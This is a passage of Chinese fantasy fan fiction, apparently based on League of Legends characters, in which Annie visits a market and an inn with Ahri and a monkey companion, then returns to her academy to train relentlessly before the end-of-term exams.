“猴子哥?你好?” “这是安妮,之前我给你说过的。” “哦,是安妮啊,你好你好……” 猴子的声音也很特别,带着说不出的味道。他说话时不紧不慢,看似十分慵懒,但是又不失庄重,感觉就像在唱戏一样。 安妮握了握他伸出来的手,那手好像长了老茧,又或者是有毛,感觉粗糙极了,握起来痒痒的。 “猴子暂时没地方去,就在我的包子店做店小二兼保镖,今天带你出去玩,让他跟在后面拿东西就好啦。” “好!” 安妮早习惯了阿狸的好心肠,也不觉得面前这个不着调的人有什么能力做保镖。 “那你想先去什么地方?时间还早,我们去清晨的集市逛逛怎么样?那里中午之后人就多了。” “好。” 安妮拉上阿狸的手,是暖暖的感觉。她的手果然是滑嫩修长的,和猴子形成了鲜明的对比。 “早晨的集市人少,但是蔬菜都很新鲜,猎人们也会尽量把活的猎物养到第二天早上一起带来市场。我的包子店需要的野猪肉一直都是在这里进货的。” “中午想吃什么?阿狸姐姐给你做好吃的。” “想吃兔子。” 光明学院的伙食其实还不错,但是安妮很少看到兔子肉,大概是那里的人觉得兔子那么洁白可爱,不太爱吃兔子。 安妮始终不明白,同为食物,吃兔子怎么就意味着不善良了。不过好在,她本来就不合群惯了,根本不在意别人的想法。 “那今天中午就吃□□。” “老板娘,你别忘了答应我的烤鸡啊!” 身后的人突然窜出来,安妮敏锐地发现阿狸偷笑了一下,不过很快收住了。 “你再这么猴急,我就不做了。” 安妮看阿狸的表情,知道她多半是开玩笑的,可惜猴子是个实诚人,立马就急了,“不急不急,俺就是问问……” 他一边说一边瞄着不远处的野鸡摊,那意图再明显不过。 阿狸还是扑哧笑了出来,安妮也在心里暗暗发笑。她已经很久没见过这么傻气又可爱的人了。 “走吧,去给他看看烤鸡。” “待会儿你别说话,等我来买,知道吗?” 安妮懵懵懂懂地点头,后知后觉地发现身边的猴子也闭嘴了。 这可不像他的风格。 安妮顺从地跟过去,那摊主也是一个热情的,一口一个美女。 “美女你眼光真好,咱这摊子摆了两三年了,和外面的那些猎户不知道多熟,这野鸡都是每天早上现杀的,你看,鸡眼珠还是溜黑的!来一只吗,我给你挑个最大个的,只要三十文!” 安妮不认识这里所有的鸡,但她找到了其中比较熟悉的彩毛鸡——虽然毛已经被拔得所剩无几了。这些鸡身上的血被冲洗干净了,毛也一根不剩,处理得很好,安妮戳了戳,手感不错。 “新不新鲜,鸡都死了,我也没办法判断呀,三十文太贵了……二十文卖吗?” “哎哟,这你可难为我了,二十文……你要等晚上来了买我剩下卖不出去的残疾鸡还可以,咱这可都是猎户一大早送来我现杀的,美女你这价格,不是让我这摊子白摆吗?不卖不卖……” 阿狸也不着急,沉思了一会儿:“二十五文,再不卖我走了,反正我和这里卖猪肉的摊主熟,我可以叫他帮我买一只。” “二十七文,美女你行行好给我留点摊位费吧,咱这一大早起来也不容易……” “安妮,我们走,去……” “行行行卖给你卖给你,看在以后都是老客户的份上。” “行嘞,以后我还来你这儿买鸡。” 阿狸给了钱,把砍价买来的鸡扔给猴子。安妮在一旁看得一愣一愣的。 她没想到长得如此不食人间烟火的阿狸不仅会做饭,还会砍价。 “小朋友,你也惊讶吧!俺当初还以为老板娘长得这么漂亮,不知道多容易被骗呢,谁知道……”猴子说着说着不说了,倒是阿狸没好气地接下去,“谁知道这个家伙第一次陪我买鸡,就一个劲帮摊主说话,害得我白损失了七文钱,都没脸再去那个摊主那里了!” “嗨呀,我这不也是体谅人家辛苦吗……那摊主都四百多岁了,两鬓斑白,拿刀的手都颤颤巍巍的……” 猴子抓耳挠腮地解释着,支支吾吾,生怕阿狸再批评他,安妮却觉得阿狸或许没那么生气。 “好了,就你现在这无家可归的状况,掉在灾难丛林连个酸果子都舍不得扔的人,还知道可怜人家。” 安妮看着这阿狸和猴子嬉笑打闹的样子,觉得他们好像也没那么违和了。 善良的模样总是千变万化的。 安妮和阿狸又去集市买了不少菜。一路上,猴子在讲价的时候一句话不说,倒让安妮觉得他太谨慎了。好在阿狸还算满意他这憨厚模样,一路上提起他的蠢事都是带笑的。 “总之,今天就是他来到这里的第一个月。不过说起来,都整整一个月了,猴子还没吃腻烤鸡呢……” “老板娘手艺好,怎么吃都吃不腻。” “嘁,就你贫嘴。阿若盖特最看不得的就是你这吊儿郎当的模样。” 安妮赞同地点了点头。印象里那个如刀剑一般锋利的女人,应该是严肃认真、一丝不苟的,和猴子这个走路姿势都透露着不正经的能气场相合才有鬼。 猴子果然也不太喜欢阿若盖特的样子,嘴里嘟嘟囔囔,大致意思就是暴力女,战斗狂…… 安妮听得满头黑线,心想阿若盖特要是听见,估计又免不了一场“切磋”了。 猴子的吐槽在某个转角戛然而止,安妮还没来得及疑惑,就看见了“悦来客栈”四个大字。 原来是到地了。 “今天在客栈里吃饭,我给你们露一手,乖乖在大厅等等哦。” 阿狸拎着一大堆东西进入后院的厨房,猴子十分积极地抢过几个大袋子冲进去。于是安妮只能坐在一楼的大厅角落等待。 阿若盖特不在,但客栈里的人挺多,店小二都有些忙不过来。 “老板,一碟花生米,一坛好酒,再来几个好菜,等人!” 门口快步走进来一个身材极好的女人,一瞬间吸引了安妮的注意。事实上,客栈里的大部分人都看见了她。 “哟,拉缇小姐这是又在哪里捞到宝贝了,有空到这里闲逛!” 是一个五大三粗的汉子,此时和面前娇俏的少女开着玩笑,两人气势却不相上下。 甚至这个火红波浪长发的女人更加从容。 “也没什么稀奇的,几箱子金币而已,姐都看腻了的颜色。” 拉缇放下手上的两把手枪,随意地坐在大厅正中的大桌子旁,周围的人都笑了笑,那个开了话头的人也不接话了。要说以前,可能还夸两句她运气好,现在嘛……几箱金币,确实是她玩腻了的。 安妮又抽空瞟了几眼,不得不说越看心中的压迫感越甚。 余光中的女人并不健壮,但一头火红的波浪长发是最耀眼的存在,连她头上印着骷髅头的海盗帽都压不住这烈焰。最火辣的是她的身材,上半身是深棕色的皮质胸衣,刚刚好遮住风景。腰部马甲线暴露无遗。下半身穿着一条长皮裤,束着的皮带长了一截,吊在腿边闪着光芒,那腿也极长,交叠起来伸出,差点碰到斜对面的桌脚。 拉缇似乎也意识到了安妮若有若无的打量,漫不经心地看过来,还友好地笑了笑。安妮被抓包,有些尴尬。明明是友好的微笑,却感觉还是那么有威慑力。 不过她也挺好看的,是那种明艳热烈的感觉。 “哟,日理万机的警长大人终于来了。” 门口进来的人动作敏捷却悄无声息,还是拉缇的招呼让她成为了焦点。 “你又坐中间。” 来人似乎不喜欢周围人的注视,把高高的警长帽又压低了一点。 但是安妮还是注意到了她胸前亮闪闪的徽章,那是她在了解精准时搜索到的消息。这个圆形锯齿边的“LX”金色徽章是路西瑞城女警实力的最高象征。 卡伊特,那个精准达到顶尖的人。 安妮心中的震惊直接表现脸上,好在没有多少人注意到她,或者说根本不在意她的反应。卡伊特大概也知道自己右胸的徽章有多亮眼,压低帽檐也不指望可以遮住什么。 安妮同样没有看清她的长相,但是显然她的装束也足够亮眼。 和拉缇诱惑危险的打扮完全不一样,她一头柔顺的黑发,长筒形状的警长帽遮住眉眼。打底紧身白T恤,外衣是敞开的皮夹克,颜色朴素,显得右胸的徽章十分亮眼。腰间的皮带一丝不苟地束紧,长裤十分宽松,裤脚扎进长筒靴里,平底的靴子踩在地上,一点声音也没有。 卡伊特虽然走进来的速度很快,但直到落座,都没有人和她开玩笑打招呼。 气氛一度陷入沉默,只有拉缇还是那么淡定。 “中间的位置才够显眼嘛,不然你这徽章不是白拿了?” 拉缇随意的一句话,卡伊特的神情似乎又冷了几分,不过拉缇倒是一点不受影响。 “好了,吃饭吃饭,听说你这次逮老鼠又没成功,就不逗你了。” 拉缇开动,卡伊特扶了扶帽檐,似乎无奈地耸了耸肩。 “安妮,吃饭了!” 阿狸的菜不久就端了出来,身后的猴子左手一盘青菜,右手一盘猪蹄,头顶一盘卤肉,健步如飞。安妮这下算是相信猴子有点东西了。 “阿若盖特还没来吗?” 阿狸放下菜,门口终于出现了那个清冷的身影。 “来得有点晚,路上遇到酒桶,耽搁了一会儿。” 阿若盖特也没说具体原因,简单解释了一下就挑了个位置落座。 “你也知道那家伙疯疯癫癫的,干嘛老和他计较那几个酒钱?” “他没钱,那总要拿点东西抵押,在我这里还想吃白食?” 阿若盖特仍旧是锋芒毕露的样子,安妮倒是有些好奇那个醉醺醺的胖子有什么可以抵押给阿若盖特的东西。 猴子果然还是不怕死的模样,立马回答了安妮的心中所想:“抵押也要有个限度啊,你三天两头找他打架,赔的医药费也够买酒了吧!” “怎么,你要替他?” “别,你开心就好。” 阿若盖特一个眼刀,猴子秒怂。 原来是用打架来抵押啊……这倒是符合阿若盖特的性格。 只是没想到那个叫酒桶的这么厉害……安妮潜意识里觉得阿若盖特肯定很能打。 “好了好了,赶紧吃饭吧。” “好嘞!” 猴子第一个开动,筷子也不用,直接上手,专心消灭自己的烤鸡。 阿若盖特皱了皱眉,不过大概早习惯了猴子吃饭的样子,还是保持着自己的端庄。 虽然阿若盖特板着一张脸,但是安妮还是觉得这样的场面很和谐,大概是……家的味道。 凯德阿姨说,她最喜欢一家人坐在一起吃饭的时候了。 她其实也喜欢。 “要去哪条街玩?这里有很多小玩意儿,风筝、风车、糖人、糖画……安妮喜欢做手工吗?” “喜欢。我喜欢编草,将军草适合做蚂蚱,麻藤可以做小篮子。还有雕刻,用木头做小熊,做啁啾雀。” “将军草细长有韧性,确实适合拿来做复杂的东西,但是我记得将军草似乎很偏远的地方才会有……” “啊,对,可以买到吗?” 应该可以,因为凯德阿姨经常拔将军草去卖。 但愿这里也有卖的。 阿狸果然点头:“确实可以买到,但人们大多数都喜欢直接选成品。” “我想要自己做。” “当然可以,我带你去买。” “草有什么好买的,花不更好看吗?” 猴子果然很会煞风景。 “你个泼猴懂什么?这叫情调!” 安妮虽然也不太知道情调是什么,但她认为只有亲手做的才配送给那个人。 将军草编织的手工作品已经过时了,有将军草的摊子就更不多了,阿狸是在街尾的巷子口发现的手工摊,那里坐着个埋头干活的老人。 “老爷爷,将军草怎么卖?” 这是一个摆满了成品的小摊,摊子前坐着的是个须发斑白的老人,他的衣服皱皱的,但是很整洁。 老人家抬眼,没有市侩们熟练的热情。他不紧不慢地继续手上的编织工作,安妮发现那指甲上还有泥土。 “要草,不要做好的?” “嗯,你可以按照做好的价格给我们算。” 阿狸其实也不知道能不能直接买将军草,但要是价格出得高,自然不怕买不到。 “五文钱一个,一捆可以做两个。”他装上一捆将军草递给阿狸,阿狸拿了三十文钱递过去。 “老爷爷,将军草在这里不好买,我是诚心要,您多给点。” 大概是没想到阿狸会这么说,他停顿片刻,收了钱,然后又装了两捆递给阿狸。 “谢谢。” 阿狸收下将军草,牵着安妮离开。 猴子跟在后面,秉承着买东西时不说话的原则。直到走出了很远,回到闹市,猴子才发问:“那小玩意儿有这么贵吗,你买鸡的时候挑三拣四,这个时候反而不讲价了。” “要你管。” “关键是人家也不领情啊。” 确实,那老人并没有因为阿狸的慷慨有什么热情的反应,似乎那一捆将军草真的值十文钱。 阿狸没说话了,安妮也拿不准她是什么想法。但帮助别人本就不求回报,那个老爷爷如何,又和他们有什么关系呢? 她若是哪天穷困潦倒了,应该也不喜欢那些人打着善良的旗号施舍。 “阿狸姐姐,这里除了手工的小玩意儿,还有什么东西吗?” “当然有,对面的街道在买一些武器,不过那里不安全,你还是别去了。法师只需要法杖就可以了,有的法师找不到称心的法杖,甚至不用,所以那些东西对你来说没有多大的用处。” “那阿狸姐姐有法杖吗?” “没有,我不太喜欢用法杖,太累赘了。妖族的人很少有用法杖做武器的,我们天生对使用法力就有心得。” “那阿若盖特姐姐是妖吗?” 她总觉得那个女人的危险不是来自她的法力,而是武力,但阿若盖特似乎是妖。 “她啊,她很特殊的。”阿狸组织了一下语言,“她的来历不好说,总之她的武功和灵力都很高。” 天呐……安妮记得光明学院校规的第一条就是不可以灵武双修,没想到阿若盖特是这么特殊的存在……难怪她那么清冷高傲。 “阿若盖特的事少打听,她脾气不好,老是喜欢和人切磋。” “那叫切磋吗?我们都是被迫的好不好?” 猴子补充道。 “谁叫你说她坏话让她听见了?这几年我让她做点生意静下心,她的脾气才好了一点,要是我们刚出学校那会儿,你已经被扔回灾难丛林当野人了。” “阿狸姐姐和阿若盖特是同学?” 她们这么厉害,会是光明学院的学生吗?但是光明学院不是不允许灵武双修吗? 谁知阿狸真的点了点头,只是不愿意再多说。 “光明学院资源挺丰富的,你要好好学习。只是……总之,在那里能学到你想要的就行了。” 安妮点点头,大概知道她的未尽之语。 学习就好了,不要投入太多感情。 她不会忠于天道,此时和阿狸的想法倒是出奇的一致。 “阿狸姐姐,那是什么车?” 一辆四四方方的车正在拥挤的人潮里挪动,它的前方有两只高大的动物,拖着后面的木头盒子前行。 “哦,是马车,只是这种马车有点特殊,马儿都是用特殊术法契约过的野马,不用人拉,自己就按照指示往目的地走。它们高大健壮,加上装饰很好看,在草原上跑得特别快,也比较平稳,是有些贵族最喜欢的出游工具。” “可是野马拉车不会很危险吗?还没有人管?伤到人怎么办?” “谁知道呢?大概那种惊险刺激的感觉更棒吧。” 何况他们也不会关心会不会伤到人。 大概吧。 其实安妮也想试试。 她唯一的坐骑就是变大的提伯斯。那只笨熊虽然看起来对被驯服很不满意的样子,但实际上总是悄悄关心着她的安危。走路走得小心翼翼,看见高大的树就会抬头扒开树枝。 “安妮,你想给自己的屋子装饰一下吗?” 原来是走到一家卖装饰品的店门口了。 和街边的小摊不一样,这家店装潢很精致:地板是木制的,踩上去感觉轻盈平滑;墙纸没有一丝褶皱,上面印着大片大片的枫树林;正中间有一张大桌子,桌布是灿烂的金黄色,夹带白色枫叶;桌子上放着各式各样的台灯,有自然发光的萤石做的,有魔法石做能 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“阿狸姐姐的房间一定很漂亮吧?” 她理解那种将自己的领地装饰得精致舒适的成就感,曾经居住的帐篷里到处都是她的痕迹。 谁知道阿狸还没回答,猴子居然抢先开始描述了:“那可不是,老板娘的屋子古色古香的,那韵味,我等俗人可真是看不懂,看不懂……” 古色古香? “也没什么,我就是在屋子里挂了副仕女图,还有做了点刺绣而已。” “那窗帘上都飞着几只鸡,看得我……” “是鸳鸯,不是鸡!” “是是是,飞了几只肥鸳鸯……” “扑哧……” 安妮想,猴子多半是想说飞了几只肥鸡。 阿狸大概也知道和他说不通,甩袖进了店。来招待的是一个瘦弱的女孩子,笑起来甜甜的。 “我想买点墙上的蝴蝶,材质透明一点……” 阿狸和小姐交流着,安妮于是继续四处张望。 “小朋友,你们那个劳什子学院,都教些什么啊?” 猴子随意地坐在一张椅子上,还是翘着二郎腿,另一只脚还抖来抖去。 “就是教魔法啊,还能有什么?” 她不太想交流学业上的东西。 “嗐,这些东西哪不能学,非要去学院吗?还有,老板娘说每个人的法力不同,所以学的方法和得到的成果也不一样,这可当真?” “当然了。” 这不是常识吗? “那你们为什么还要人教啊,谁知道她教的对你来说有没有用?” 安妮被问住了。不过菲缇老师其实大部分时间都在让她自己摸索。 “菲缇老师一直都让我多想多练,也没有说太多啦……” “嘿,真是奇怪,那你去那个学院有什么用?” 安妮又被问住了。 似乎其他学生也不是这样的。主要是她不喜欢那些课程,于是菲缇就干脆免了所有课程,选择一对一教学,但好像除了谈心,她真的很少告诉她学习魔法的事情。 “算了,我问你一个黄毛丫头干什么……” 猴子摇了摇头,虽然还是吊儿郎当的样子,但安妮觉得他刚刚其实难得严肃。 “你想知道什么?” 猴子犹豫片刻,见安妮一副执意要知道的样子,还是说了:“也没什么,就是俺明明是只妖,但除了力气大点,动作快点,好像什么能力也没有……” “你不知道自己会什么?” “不知道。” “是一开始就没有,还是只是现在不知道?” “一开始?什么一开始?” “出生啊!你从出生的时候起,就什么都不会吗?” 安妮记得除了水晶球可以识别,有灵力的人在出生的时候,也是有异象的。虽然她不知道自己出生时有什么,但是凯德阿姨告诉她,她有冰灵力,于是她也真的会使用冰灵力。 谁知道猴子坦诚地摇了摇头:“俺忘了,俺只记得俺在灾难丛林醒来后的事了。” 那就是真忘了呗!安妮在心里这么说着,还是换了个委婉点的方式告诉猴子:“也许这些能力都还在,只是你现在不需要,所以没有记起来嘛,那也没事的。相信总有一天,你能重新想起来你的能力的。” “你这小家伙倒是乐观,不像老板娘,劝俺说做个普通人也没有不好,普通人在源大陆也多得是。” “那是……” 安妮也不知道应该怎么说了,大概在阿狸心中,比起美艳动人却身为妖族的特殊群体,她更愿意做个普通人吧。 “走吧,我们再去逛逛别的。” 阿狸出来了,手上提着一个黑色袋子,看不清里面的东西。 猴子十分利索地站起身接过袋子,一点之前问问题的苦闷都没有。安妮暗忖,这个家伙虽然看着心大,其实人还挺体贴的。 买完将军草,离开手工街,阿狸带着安妮逛到了美食街。现在的时间刚刚适合来点小吃,边走边尝好不快乐。 安妮留了一些桂花糕和不知名的糖,准备回去给阿木木。提伯斯最喜欢吃的其实是热乎乎的烤鱼,可惜他自从……很久以前,就再也没有机会抱着冬天的肥鱼啃了。 “阿狸姐姐,从这里去无妄边境,远吗?” “远,不过也不算太远,要看你怎么算了。无妄边境是围绕着无妄森林形成的地带,靠近圣城的地方有一块,从圣城出去穿过整片无妄森林还有一块,奇迹平原边上还算一块呢……” “这样吗?我还以为无妄边境只是夹在圣城和无妄森林里的小地方呢。” “那哪能叫‘边境’啊!艾德文特虽然没什么文化,但取名这方面还是不错的。” “艾德文特?” “目前的地图就是艾德文特探索出来的,大多数地区也是他命名的,比如给约德尔城带来许许多多兽潮的‘灾难丛林’;像把月亮一分为二了一样的‘斩月山’;无法望到边际,也无法到达边际的‘无妄边境’;还有充满奇迹的‘奇迹平原’,滴水成冰的‘极寒冰原’……他取名字的技术不怎么样,但不得不说他把所有心血都奉献给了他的探险成果。” “天呐,他真是一个伟大的人。” 居然探索出了源大陆的地图。 “大概吧……” 阿狸似乎不愿再多说,安妮有些奇怪往日善解人意的她居然没有认同自己的话。 不过她也确实问不到了,因为阿狸很快把话题转向了这些地方的传奇人物,或者小吃。 安妮才知道不止是那个胸口带着徽章的卡伊特很厉害,敢面不改色调侃她的拉缇小姐也很厉害——吞噬之海的领主,被艾德文特冠以“吞噬了无数财宝和生命”的地域的探宝领头羊。 “时候不早了,或许我们应该琢磨琢磨晚饭吃什么了。” “听说醉香楼的烤鸡特别嫩。” 猴子果然还是钟爱烤鸡。 安妮也不反对,反正在哪里吃都一样。她对食物的执著更多地来自于亲手制作所以喜爱,对舌尖上的刺激反而没有追求。 “醉香楼不仅仅是天下第一美食楼,还是搜集情报的好地方。” 其实阿若盖特开的悦来客栈也是搜集消息的好地方,即使阿狸不说,安妮也知道。 果不其然,才坐下不久,安妮就被“卡伊特”这个名字吸引了。 大概是觉得周围的人没有不知道这件事的,所以谈话的人格外激动,也不刻意规避谁。 “嗨呀,卡伊特真的很厉害了,那精准等级绝对不是假的,就是不知道为什么金克丝这么能跑,愣是抓不住。” “你说那蓝色辫子那么明显,她怎么隐藏住自己的?” “这你就不知道了吧?自从消失了又从奇迹平原那边出来后,金克丝不仅身法厉害,还学了不少手段。” “谁不知道?那你具体知道什么手段?” “飞檐走壁,上天入地,谁知道呢!不然为什么卡伊特抓了这么久都抓不住她?” 一群醉酒的人越说越离谱,不过安妮大概也知道了金克丝也是一个极其厉害的人——能够在卡伊特手里七进七出的那种。 “这些事本来是和我们无关的,虽然金克丝的暴动越来越过分,但她的范围从来没有超出过路西瑞城。” “为什么?” 阿狸沉默了,表情有些纠结的样子。 “没关系,总归这是个好消息。” 将犯罪范围限定在路西瑞城,明明很不利于金克丝打游击,但是安妮相信那么聪明的人绝对有自己的思考。换位想想,虽然她也想报复天道,但她同样没想过伤害光明学院的任何人,即使他们是天道最忠实的信徒。 “菜来了,吃饭吧。” 阿狸唤回安妮的思绪,香喷喷的鱼已经上桌。 安妮吃着菜,耳朵边除了“卡伊特”和“金克丝”,“艾德文特”、“光明学院”、“酒桶真名”这些消息也杂乱无章地在脑海里回响着。 或许我应该多去听听外面世界的消息,而不是只看源大陆的书籍。安妮回学院时如是想着。 9. 9 “木木,我一直以为精准到达那样的等级已经是极致了,可我没想到居然还有人比她厉害……” 安妮的语气里,敬佩、惊讶、羡慕、心酸……复杂的情绪充斥在胸腔,好像要爆炸一样。 “你会比她们更厉害的,你缺乏的只是时间。” 阿木木的眼神一如既往的坚定。 安妮没想到,仅仅是短短的几句话,阿木木就看出了她背后的彷徨。她总是害怕,害怕目标太过遥远,以为掩盖得很好,其实心底的颤抖显而易见。 “菲缇老师说你缺少的不是毅力,她怕你太逼迫自己了,又怕你突然松懈。” 安妮脑子很乱。 “我还是想保持原来的样子。” 阿木木还没来得及说出自己修改了无数次的劝说,菲缇就已经截断了他的话。 “那样挺好。” “菲缇老师!” 安妮把自己准备的礼物拿出来,菲缇微笑着接过。 “谢谢。我想之前是我想岔了,既然总是害怕自己达不到目标,那就奋力前进。不疯魔,不成活,如果再怎样都无法让自己心平气和,那就彻彻底底拼一次。” “安妮,这是你的决定,我会支持你。” “谢谢你,菲缇老师。” 既然目标已定,安妮更加无法忍受现在浪费的一分一秒。她起身,告别了阿木木和菲缇,再一次冲向训练室。 阿木木看着安妮慌乱的身影,眼底的担忧几乎凝成实质。 “菲缇……” “木木,我知道你想让我劝劝她。” 阿木木默认了。 “你看我劝得住吗?” 结果很明显。 “让她疯一次吧,远大的目标总是需要异于常人的血汗堆砌。” “校长说太过执著于追求魔法力量会走火入魔。” “那是心智不坚定的人。”菲缇打断阿木木,嘴角勾起的弧度里是恰到好处的信任,“她不会。” “……” “这段时间别去打扰她了,让她自己思考吧,你也相信她的,对吗?” 阿木木点头。 “校长找我还有事,我先走了。期末的考试快开始了,他应该很希望你能去做个观众。” “菲缇老师再见。” 没有给予确切的回答。 菲缇离开了,带着熟悉的微笑。阿木木看着那个渐行渐远的身影,眼底却没有和安妮一样的信任。 “校长。” “期末考试好像很快了。” “恕瑞玛沙漠,安妮回来之后给我说的。” 加丁抬头,镜片反射的光芒和他的眼神一样锐利。 菲缇不为所动。 “艾德文特会回来一趟,预计在下学期的开学典礼上会有一个他的剪彩,我希望你和他可以好好谈谈。” 加丁的“希望”从来不是征询意见,菲缇只是了然地点点头:“好的,在此之前,我会和安妮好好谈谈的。她是个热爱学习的好孩子。” “你费心了。” 加丁瞥了菲缇一眼,眼底的不屑和蔑视一闪而过,却还是让菲缇莞尔一笑。 “大概是……有缘吧。” “年轻老师总是更加心疼学生。” 菲缇想到温蒂——那个奇迹平原里生长出的小白花,不禁一阵恶寒。 她才不一样呢。 “校长,没事的话我先走了。” “你知道恕瑞玛沙漠的情况吗?” “额……不太清楚,据说是一片荒漠,源大陆诞生时就存在的大陆中心。安妮说她在边缘遇见的神使,所以并不知道那里面有什么……校长要是好奇的话,可以问问神使。” 加丁有一瞬间的停顿,把菲缇逗得暗暗发笑。阿木木要是真的愿意透露消息,他也不至于什么都来威胁她了。 不过这种事校长大人自然不会表现出来。 加丁没有给菲缇更多的调笑机会,他摆摆手,菲缇知道这是赶人了。 她还是恭恭敬敬地打开门,谁知那略带轻松的笑容直接在开门的瞬间定格住了。 阿木木在门外。 “菲缇老师好。” 阿木木点点头,和菲缇打完招呼,径直走进校长办公室。 菲缇回礼、让开,一边感叹他不用敲门的特权,一边回忆自己的笑容有没有不合适的地方,好在那微笑似乎永远是友善温柔的,不会因为任何情况改变。 “校长,期末考试,安妮不会参加。” 是肯定句。 “是的,看来菲缇已经通知您了。不过我仍旧希望您能参加。神使大人,希望您能明白,您的降生都是天意,那个女孩不适合得到您的太多关注,您也有更多未完的使命……” “我知道。” 阿木木已经听加丁说过太多次这样的话。他不明白,一个人为什么会为了其他事物和其他生命而存在——人这一生,活着不就是为了自己吗? 因为帮助他人让自己快乐,所以对弱小者施以援手;因为靠近死亡边缘的挑战让自己兴奋,所以不断探险尝试超越极限;因为功名利禄和荣耀加身让自己满足,所以追求着金钱和名誉…… 没有对错可言,不过都是为了自己。 所以他不知道,但他知道这不能说,也不能问。 所以他知道。 “期末考试我会参加,但是假期我想离开这里——以阿木木的身份。” “神使大人假期留在光明学院的圣殿祈福,我不会让任何人前去打扰。” 阿木木点头,开门离开了。 自己点头,然后自己离开,菲缇大概也是羡慕的。 要不是加丁身边东西太多,他是愿意转身帮忙开下门的。 阿木木至少看见了他的动作。 直到目送他开门离开,加丁才慢慢地坐下,桌子上是他刚刚合上的地图,只不过那上面标注着许多市场上的地图里没有的东西。 安妮放任自己陷入疯狂,于是外界的一切都已经和她毫无关联。 除了生存所需,这个世界空旷得可怕,她的生活也空荡荡却充实得可怕。 “啪!” 冰球碎裂,擦到稻草人的衣角。安妮擦干额头的汗水,觉得抬手的动作都是那么困难。练精准度练到脱力,顺便也是力量的进步。一日千里的代价是单一空白的脑子,她眼里的数字越来越大。 占据了思维的数字。 B级,这是多大的跨越,可是那个明晃晃的“0”太过刺眼。 继续,还要继续…… 明明以前抓兔子时那么得心应手,可是如今总感觉冰灵力已经和兔子融为一体,总是太过跳脱,难以掌握,甚至试图逃离。 掌控…… 难道掌控达到25还不够吗? 她用了整整一个星期的时间做冰雕! 还不够…… 安妮调整训练模式,那些带着嘲讽微笑的稻草人一个个离开,取而代之的是巨大屏幕上的立体冰雕——熟悉的啁啾雀。 那微笑的弧度更加嘲讽。 眼睛里的血丝和羽毛纹路清晰可见,那是掌控50的完美之作。安妮看过掌控达到90的作品,那只鸟儿羽毛上的小绒毛都是根根可数,玻璃眼珠中还倒映着一个复杂的鸟窝——指甲盖不到的大小,却看得清做鸟窝的干草上的尖刺。 掌控达到顶级的人其实比精准更多,但大多年龄都很大。 不过据说阿若盖特这个年纪轻轻的女强人是掌控力的巅峰,具体为什么安妮还不知道。 不过知道也没有用,掌控是请教不来的,对自然元素和魔法力量的感知和心得要是能写成文字,怕是早就人手一本了。 安妮虽然歇了一会儿,但她的手仍在颤抖。她试探着凝聚了一只啁啾雀,果然头和身体的连接处还是歪了。 算了,再休息一会儿吧。 这么基础的地方都做不好,还谈什么进步。 安妮连发脾气的力气都没有了。 她就靠在冰冷的墙上,盯着地板出神。 那地板白得反光,本来的颜色都看不见了。要是用冰还原地板,应该怎么做?这么光滑的地面,应该只用把形状做好吧……但看得久了,又发现即使是光滑的石地板,还是有一些小坑和凸起的。再安静地看看,似乎这地板还倒映出了天花板上的灯,像那只眼珠一样…… 安妮听着耳边自己的呼吸,却觉得周围万籁俱寂。她眼里的地板越来越大,越来越大,似乎她就卡在了一个小凹槽里,周围全是起伏的石头。 闭眼,有些酸胀,再眨几下……视线虽然模糊了,但心里好像多了些什么。安妮再次抬手,灵力缠绕在指尖,慢慢编织…… 安妮仍然做不出啁啾雀眼里的景象,但面前的形状已经足够细致。她再小心翼翼的一根一根制作羽毛,光秃秃的鸟身子逐渐丰富起来。 掌控:30. 呼…… 这微小的五点掌控,似乎掏空了她的所有气力。 安妮随手扔开啁啾雀,无暇顾及屏幕上多出来的彩毛鸡。 “扣扣扣……” “请进。” 坐在地上偏头看去,走进来的人身影越发高大。 “安妮,假期我们出去吧。” “我不想……” “我们去无妄森林。” 无妄森林。 空白的记忆逐渐恢复色彩。 鱼、兔子、花草树木…… 安妮觉得脑袋突突地疼。 “无妄森林里移动的目标是最佳的练习工具。” 这个她必须承认。没日没夜的训练已经让她摸清了稻草人的移动轨迹,或者说这些家伙的身影她已经太过熟悉。并且…… 她想家了。 虽然那里已经被夷为平地。 “那木木,你……” “校长已经答应了。” 安妮莫名松了口气。 “安妮,我们已经好久没有一起去看星星了。” 安妮记得。 “木木的眼睛比星星还要好看,和北极光一样。” 那时的她坦率直白,面前的人羞涩沉稳;那时的枯木圆圆的,一点也不烫;那时的月亮藏在树叶背后,光芒又温暖又洁白;那时的凯德阿姨总是催他们早点回去吃饭。 她也想看星星。 “木木……” 安妮想说什么,可是又觉得,自己好像根本没有资格说什么。她给不了承诺,也不能像那些浪漫故事里的人一样私奔。她多想也变成一株蒲公英,但她一定不会选择飞翔。 阿木木也是微笑着的,那微笑却没有菲缇的无懈可击。 淡淡的悲伤弥漫。 “虽然训练很重要,但也要保重身体,我……假期后来找你。” 生怕安妮拒绝,或者说为难,阿木木匆匆忙忙地离开。 安妮目送少年关门,欲言又止的模样。 这样也好。 没有未来的人,给什么承诺都是白纸一张。 “原本还以为菲缇老师的亲传学生会参加考试,到时候又多了一个强力的竞争对手,没想到她没有考试,真是太好了!” 一个A班的学渣感叹着。 “不参加不代表没有名次,比都没比就给分数,不是耍赖吗?” 显然,并不是所有A班的学生都同样庆幸。 “只是没有对抗赛而已,数据还是有的。” “对啊,对抗赛只是观赏性的,表演而已,真正的成绩还是看数据说话的。她的训练数据我虽然没法偷看,但凭我平时的观察,就知道一定很高!” “你怎么看出来的?” “你们不知道她平时有多疯狂,我每次去训练室她都在,我的朋友去训练室的时候她也在,总之除了一日三餐,她一直都在!” “我作证,之前他还问我安妮去哪了,我以为什么事呢,刚想调侃几句,就笑不出来了。” 为什么笑不出来,大家都知道。 “天呐,这也太拼了……” “可是这不会出事吗?” 激烈的讨论声在温蒂进入时打断了。大概是听到了他们的对话,温蒂难得严肃:“安妮的情况十分特殊,我不建议你们向她学习。菲缇老师这次帮安妮请假也是因为她训练过度状态不好。你们要知道,磨炼意志和提升实力同样重要。” 就算想学也坚持不下来啊! 同学们心里想着,还是赞成了温蒂的话,否则不是给自己的懒散找借口吗? “这次的考试神使也会出席,主要是观看对抗赛,大家要努力。” “天呐!平时神龙见首不见尾的神使居然会出席!” “那我一定要好好打扮!” “是啊,要是能被神使欣赏,那就太好了!” 教室沸腾了,温蒂却没有阻止的意思。大概是认为这样的喜悦没有必要阻止,她还特意提前下了课。 菲缇要是知道,多半又要在心里吐槽了。 光明学院的期末考试分为两个部分,第一个是综合数据排名,第二个是对抗赛调整排名。综合数据来自于训练室的最佳前三数据,以及最后一次考试时的数据。平时的三次最佳练习分平均下来,再和考试时的分数平均,得到数据排名,其中参考值重要性力量大于掌控,掌控大于精准。 